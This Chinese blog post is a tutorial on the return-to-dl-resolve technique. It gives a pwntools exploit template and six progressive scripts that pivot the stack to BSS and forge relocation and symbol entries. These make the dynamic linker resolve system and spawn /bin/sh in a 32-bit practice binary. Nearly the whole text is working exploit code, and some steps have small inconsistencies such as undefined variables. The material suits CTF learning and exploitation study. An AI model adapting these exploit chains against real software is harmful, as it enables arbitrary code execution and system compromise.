Return-to-dl-resolve

预备知识

延迟绑定重定位

转载!

PLT-GOT

 

通用解题目脚本:

##考虑到栈空间不足,一般会进行栈迁移到BSS,原理是pop操作用的的是esp寄存器

p = process('./your pro')
elf = ELF('./your pro')

bss_base = elf.bss()    #BSS基本地址,用来搬迁栈
plt_0 = 0x****         ##objdump -d -j .plt *** 查询plt[0]地址,用来EIP指向该处,只用传入index_arc参数
rel_plt = 0x****       ##objdump -s -j .rel.plt *** 查询rel.plt表基址
dynsym = 0x****    ##查询 dynsym基地址,保存sym结构体
dynstr = 0x****        ##查询 dynstr 基地址,保存函数名表项

index_offset=New_stack+xx-rel_plt    #从Fake栈顶偏移XX开始伪造是因为中间还有数据
write_got = elf.got['write']    #这里将会在后面替换write的GOT表
fake_sym_addr = New_stack + XXX    
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) ## 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 ## 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)    #构建Fake rel.plt表项
st_name = (fake_sym_addr + 0x10) - dynstr     # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)    #构建Fake sym结构体

payload = 'A'*偏移
payload+= #向Fake栈顶写数据,写入的是在栈搬迁之后的ROP  因为pop是根据RSP定位的
payload += p32(pop_ebp_ret)             #搬迁ebp
payload += p32(New_stack)        #将ebp搬迁到Fake栈顶
payload += p32(leave_ret)                #mov esp,ebp ; pop bep ;ret #将ebp赋值给esp完成栈搬迁,此时下面的pop操作从Fake栈顶开始。
p.send(payload)

payload2 = 'AAAA'                         #接上述的pop ebp,因为rop是根据esp,这里可以随便指定,也可以指定到下一个搬迁栈顶
payload2 += p32(plt_0)    #将EIP指向plt[0]
payload2 += p32(index_offset)       #等下会从plt[0]+index_offset跳转到我们的Fake_reloc
payload2 += 'AAAA'    #函数返回地址
payload2 += p32(1)    #fd
payload2 += p32(New_stack + xx)    #buf 读取数据的位置
payload2 += p32(len(cmd))
payload2 += fake_reloc # (New_stack +xx)的位置
payload2 += 'B' * align
payload2 += fake_sym # (New_stack +xxx)的位置
payload2 += "system\x00"    #Fake st_name
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

 

 

step1-step6 从潜到深学习

from pwn import *

pop_esi_edi_ebp_ret=0x08048619
pop_ebp_ret=0x0804861b
leave_ret=0x08048458    #--only "leave|ret"
offset=112
stack_size=0x800

#move stack to bss and control write()
def step1():
    p.recvuntil('2015~!\n')
    payload = 'A' * offset            #填充
    payload += p32(read_plt)         #向Fake栈顶写数据,写入的是在栈搬迁之后的ROP  因为pop是根据RSP定位的。
    payload += p32(pop_esi_edi_ebp_ret)     #函数返回地址,这里选择弹出read的三个参数
    payload += p32(0)                        #fd
    payload += p32(bss_addr+stack_size)        #buf
    payload += p32(100)                        #len
    payload += p32(pop_ebp_ret)             #搬迁ebp
    payload += p32(bss_addr+stack_size)        #将ebp搬迁到Fake栈顶
    payload += p32(leave_ret)                #mov esp,ebp ; pop bep ;ret #将ebp赋值给esp完成栈搬迁,此时下面的pop操作从Fake栈顶开始。
    p.send(payload)
    
    cmd = "/bin/sh"
    payload2 = 'AAAA'                         #接上述的pop ebp,因为rop是根据esp,这里可以随便指定,也可以指定到下一个搬迁栈顶
    payload2 += p32(write_plt)                
    payload2 += 'AAAA'                        #函数返回地址
    payload2 += p32(1)                        #fd
    payload2 += p32(bss_addr+stack_size + 80)        #buf 读取数据的位置
    payload2 += p32(len(cmd))                #len
    payload2 += 'A' * (80 - len(payload2))    #填充
    payload2 += cmd + '\x00'                #buf 填充的数据
    payload2 += 'A' * (100 - len(payload2))    
    p.sendline(payload2)
    p.interactive()

    #控制eip返回PLT[0],带上write的index_offset
    #因为调用dl_runtime_resolve时,一会修改GOT地址,二是会调用函数运行
def step2():
    plt0=0x8048380    #objdump -d main
    index_offset=0x20 #查表
    #index_offset=Fake-plt[0]
    
    p.recvuntil('2015~!\n')
    payload = 'A' * offset            
    payload += p32(read_plt)         
    payload += p32(pop_esi_edi_ebp_ret)     
    payload += p32(0)                        
    payload += p32(bss_addr+stack_size)        
    payload += p32(100)                        
    payload += p32(pop_ebp_ret)             
    payload += p32(bss_addr+stack_size)        
    payload += p32(leave_ret)                
    p.send(payload)    
    
    cmd = "/bin/sh"
    payload2 = 'AAAA'
    payload2 += p32(plt_0)        #将EIP指向plt[0]        ---|这两步骤等同于call write()
    payload2 += p32(index_offset)    #传入index参数        ---|
    payload2 += 'AAAA'                
    payload2 += p32(1)                
    payload2 += p32(bss_addr+stack_size + 80)
    payload2 += p32(len(cmd))
    payload2 += 'A' * (80 - len(payload2))
    payload2 += cmd + '\x00'
    payload2 += 'A' * (100 - len(payload2))
    r.sendline(payload2)
    r.interactive()
    
    #控制index_offset,使其指向我们构造的fake_reloc
def step3():
    #构造Fake reloc结构体,也就是rela.plt    
    cmd="/bin/sh"
    plt0=0x8048380    #objdump -d -j .plt main
    rel_plt=0x08048330 #objdump -s -j .rel.plt main
    index_offset=bss_addr+stack_size+28-rel_plt #从Fake栈顶偏移28开始伪造是因为中间还有数据
    write_got = elf.got['write']  #正常写入对应的GOT表
    r_info = 0x607 # write: Elf32_Rel->r_info = 表项<<8+0x07过检测
    fake_reloc = p32(write_got) + p32(r_info) #创建Fake结构体
    
    p.recvuntil('2015~!\n')
    payload = 'A' * offset            
    payload += p32(read_plt)         
    payload += p32(pop_esi_edi_ebp_ret)     
    payload += p32(0)                        
    payload += p32(bss_addr+stack_size)        
    payload += p32(100)                        
    payload += p32(pop_ebp_ret)             
    payload += p32(bss_addr+stack_size)        
    payload += p32(leave_ret)                
    p.send(payload)    

    payload2 = 'AAAA'
    payload2 += p32(plt_0)
    payload2 += p32(index_offset)    #等下会从plt[0]+index_offset跳转到我们的Fake_reloc
    payload2 += 'AAAA'
    payload2 += p32(1)
    payload2 += p32(bss_addr+stack_size + 80)
    payload2 += p32(len(cmd))
    payload2 += fake_reloc     # (bss_addr+stack_size+28)的位置
    payload2 += 'A' * (80 - len(payload2))
    payload2 += cmd + '\x00'
    payload2 += 'A' * (100 - len(payload2))
    r.sendline(payload2)
    r.interactive()

    #构造fake_sym,使其指向我们控制的st_name
def step4():
    cmd = "/bin/sh"
    plt_0 = 0x08048380
    rel_plt = 0x08048330
    index_offset = (bss_addr+stack_size + 28) - rel_plt
    write_got = elf.got['write']
    #开始构造
    dynsym = 0x080481d8                #sym位置
    dynstr = 0x08048278                #st_name位置
    fake_sym_addr = bss_addr+stack_size + 36            #偏移36
    align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
    fake_sym_addr = fake_sym_addr + align
    index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
    r_info = (index_dynsym << 8) | 0x7
    fake_reloc = p32(write_got) + p32(r_info)
    st_name = 0x4c
    fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
    
    p.recvuntil('2015~!\n')
    payload = 'A' * offset            
    payload += p32(read_plt)         
    payload += p32(pop_esi_edi_ebp_ret)     
    payload += p32(0)                        
    payload += p32(bss_addr+stack_size)        
    payload += p32(100)                        
    payload += p32(pop_ebp_ret)             
    payload += p32(bss_addr+stack_size)        
    payload += p32(leave_ret)                
    p.send(payload)    
    
    payload2 = 'AAAA'
    payload2 += p32(plt_0)
    payload2 += p32(index_offset)
    payload2 += 'AAAA'
    payload2 += p32(1)
    payload2 += p32(bss_addr+stack_size + 80)
    payload2 += p32(len(cmd))
    payload2 += fake_reloc # (bss_addr+stack_size+28)的位置
    payload2 += 'B' * align
    payload2 += fake_sym # (bss_addr+stack_size+36)的位置
    payload2 += 'A' * (80 - len(payload2))
    payload2 += cmd + '\x00'
    payload2 += 'A' * (100 - len(payload2))
    p.sendline(payload2)
    p.interactive()

    #伪造st_name位置指向我们的字符串
def step5():
    cmd = "/bin/sh"
    plt_0 = 0x08048380
    rel_plt = 0x08048330
    index_offset = (bss_addr+stack_size + 28) - rel_plt
    write_got = elf.got['write']
    dynsym = 0x080481d8
    dynstr = 0x08048278
    fake_sym_addr = bss_addr+stack_size + 36
    align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
    fake_sym_addr = fake_sym_addr + align
    index_dynsym = (fake_sym_addr - dynsym) / 0x10
    r_info = (index_dynsym << 8) | 0x7
    fake_reloc = p32(write_got) + p32(r_info)
    st_name = (fake_sym_addr + 0x10) - dynstr     # 加0x10因为Elf32_Sym的大小为0x10
    fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

    p.recvuntil('2015~!\n')
    payload = 'A' * offset            
    payload += p32(read_plt)         
    payload += p32(pop_esi_edi_ebp_ret)     
    payload += p32(0)                        
    payload += p32(bss_addr+stack_size)        
    payload += p32(100)                        
    payload += p32(pop_ebp_ret)             
    payload += p32(bss_addr+stack_size)        
    payload += p32(leave_ret)                
    p.send(payload)    
    
    payload2 = 'AAAA'
    payload2 += p32(plt_0)
    payload2 += p32(index_offset)
    payload2 += 'AAAA'
    payload2 += p32(1)
    payload2 += p32(bss_addr+stack_size + 80)
    payload2 += p32(len(cmd))
    payload2 += fake_reloc # (bss_addr+stack_size+28)的位置
    payload2 += 'B' * align
    payload2 += fake_sym # (bss_addr+stack_size+36)的位置
    payload2 += "write\x00"
    payload2 += 'A' * (80 - len(payload2))
    payload2 += cmd + '\x00'
    payload2 += 'A' * (100 - len(payload2))
    p.sendline(payload2)
    p.interactive()

    #替换write为system,并修改system的参数
def step6():
    cmd = "/bin/sh"
    plt_0 = 0x08048380    ##objdump -d -j .plt *** 查询plt[0]地址,用来EIP指向该处,只用传入index_arc参数
    rel_plt = 0x08048330    ##objdump -s -j .rel.plt *** 查询rel.plt表基址
    index_offset = (bss_addr+stack_size + 28) - rel_plt    #从Fake栈顶偏移28开始伪造是因为0-28中间还有数据
    write_got = elf.got['write']    ##这里将会在后面替换write的GOT表
    dynsym = 0x080481d8    ##查询 dynsym基地址,保存sym结构体
    dynstr = 0x08048278    ##查询 dynstr 基地址,保存函数名表项
    fake_sym_addr = bss_addr+stack_size + 36
    
    align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) ## 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
    fake_sym_addr = fake_sym_addr + align
    
    index_dynsym = (fake_sym_addr - dynsym) / 0x10  # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
    r_info = (index_dynsym << 8) | 0x7 
    
    fake_reloc = p32(write_got) + p32(r_info)    #构建Fake rel.plt表项
    st_name = (fake_sym_addr + 0x10) - dynstr     # 加0x10因为Elf32_Sym的大小为0x10
    fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #构建Fake sym结构体

    p.recvuntil('2015~!\n')
    payload = 'A' * offset            
    payload += p32(read_plt)         
    payload += p32(pop_esi_edi_ebp_ret)     
    payload += p32(0)                        
    payload += p32(bss_addr+stack_size)        
    payload += p32(100)                        
    payload += p32(pop_ebp_ret)             
    payload += p32(bss_addr+stack_size)        
    payload += p32(leave_ret)                
    p.send(payload)    
    
    payload2 = 'AAAA'
    payload2 += p32(plt_0)
    payload2 += p32(index_offset)
    payload2 += 'AAAA'
    payload2 += p32(base_stage + 80)
    payload2 += 'aaaa'
    payload2 += 'aaaa'
    payload2 += fake_reloc # (base_stage+28)的位置
    payload2 += 'B' * align
    payload2 += fake_sym # (base_stage+36)的位置
    payload2 += "system\x00"    #Fake st_name
    payload2 += 'A' * (80 - len(payload2))
    payload2 += cmd + '\x00'
    payload2 += 'A' * (100 - len(payload2))
    p.sendline(payload2)
    p.interactive()
    
    
if __name__ =="__main__":
    p=process('./main')
    elf=ELF('./main')
    write_plt=elf.plt['write']
    read_plt = elf.plt['read']
    bss_addr=elf.bss()
    #step1()
    #step2()
    #step3()
    #step4()
    #step5()
    step6()

 

posted @ 2019-10-13 14:53  0xM2r00t  阅读(254)  评论(0编辑  收藏  举报